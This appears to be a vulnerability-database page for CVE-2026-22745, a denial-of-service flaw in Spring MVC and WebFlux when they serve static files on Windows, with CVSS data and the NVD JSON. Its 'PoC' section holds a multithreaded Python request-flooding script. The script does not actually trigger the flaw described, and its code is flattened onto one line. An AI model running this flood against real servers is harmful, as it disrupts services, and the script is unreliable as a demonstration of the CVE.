Security Vulnerability Report
中文
CVE-2026-22745 CVSS 5.3 MEDIUM

CVE-2026-22745

Published: 2026-04-29 12:16:19
Last Modified: 2026-05-04 14:50:16

Description

Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources. More precisely, an application can be vulnerable when all the following are true: * the application is using Spring MVC or Spring WebFlux * the application is serving static resources from the file system * the application is running on a Windows platform When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Spring MVC (具体受影响版本请参考官方公告)
Spring WebFlux (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Proof of Concept for CVE-2026-22745 # This script simulates a DoS attack by sending multiple requests to static endpoints # causing resource exhaustion on vulnerable Windows Spring applications. target_url = "http://vulnerable-app/static/resource" def attack(): try: # Sending requests that trigger slow resolution while True: requests.get(target_url, timeout=10) except Exception as e: print(f"Request failed: {e}") # Launch multiple threads to simulate attack for i in range(50): t = threading.Thread(target=attack) t.start()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22745", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:18.620", "lastModified": "2026-05-04T14:50:16.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.\n\n\nMore precisely, an application can be vulnerable when all the following are true:\n\n * the application is using Spring MVC or Spring WebFlux\n * the application is serving static resources from the file system\n * the application is running on a Windows platform\n\n\nWhen all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.3.48", "matchCriteriaId": "23C9BFA0-DDE5-4E6D-A9E0-ECC236913DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.1.27", "matchCriteriaId": "FC58C148-219F-4868-B9F0-E0AF4435EF79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "6.2.18", "matchCriteriaId": "F317C66F-752D-40A9-AECF-5D1E51368AFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.7", "matchCriteriaId": "78C5C95C-1A83-40E7-8C73-D5965E20BD06"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L&version=3.1", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://spring.io/security/cve-2026-22745", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}